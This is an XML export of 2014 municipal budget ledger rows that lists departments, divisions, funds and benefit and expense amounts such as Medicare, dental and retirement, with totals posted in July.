<row _id="5954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>205871.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205871.0</total></row>
<row _id="5955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4682.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4682.0</total></row>
<row _id="5956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>251251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>251251.0</total></row>
<row _id="5957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4757.0</total></row>
<row _id="5958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10112.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10112.0</total></row>
<row _id="5959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
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<row _id="5989"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>355484.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>355484.0</total></row>
<row _id="5990"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18065.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18065.0</total></row>
<row _id="5991"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6666.0</total></row>
<row _id="5992"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>275920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>275920.0</total></row>
<row _id="5993"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>106560.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>106560.0</total></row>
<row _id="5994"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>515.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>515.0</total></row>
<row _id="5995"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11365.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11365.0</total></row>
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<row _id="5997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9913.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9913.0</total></row>
<row _id="5998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44627.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44627.0</total></row>
<row _id="5999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>407170.0</object><object_description>LA COUNTY PROP A O&amp;M REIMB</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-28260.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-28260.0</total></row>
<row _id="6000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3287.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3287.0</total></row>
<row _id="6001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1666.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1666.0</total></row>
<row _id="6002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>103.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>103.0</total></row>
<row _id="6003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4675.0</total></row>
<row _id="6004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5214.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5214.0</total></row>
<row _id="6005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278.0</total></row>
<row _id="6006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>837.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>837.0</total></row>
<row _id="6007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>344.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>344.0</total></row>
<row _id="6008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401730.0</object><object_description>LIBRARY CAFE UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-11000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-11000.0</total></row>
<row _id="6009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407720.0</object><object_description>ENCLOSURE PLAN CHECK FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-56258.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-56258.0</total></row>
<row _id="6010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8823.0</total></row>
<row _id="6011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>492.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>492.0</total></row>
<row _id="6012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>816.0</total></row>
<row _id="6013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="6014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>964.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>964.0</total></row>
<row _id="6015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24257.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24257.0</total></row>
<row _id="6016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>219.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>219.0</total></row>
<row _id="6017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41358.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41358.0</total></row>
<row _id="6018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-404541.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-404541.0</total></row>
<row _id="6019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-PKG OPS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2184702.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2184702.0</total></row>
<row _id="6020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400843.0</object><object_description>VLF SWAP</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4875.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4875.0</total></row>
<row _id="6022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522116.0</object><object_description>UTIL-LIGHT/POWER-CIVIC PARKING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>79629.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>79629.0</total></row>
<row _id="6023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15145.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15145.0</total></row>
<row _id="6024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>30073.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30073.0</total></row>
<row _id="6025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11228.0</total></row>
<row _id="6026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6251.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6251.0</total></row>
<row _id="6027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>85211.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>85211.0</total></row>
<row _id="6028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23195.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23195.0</total></row>
<row _id="6029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16544.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16544.0</total></row>
<row _id="6030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>21499.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21499.0</total></row>
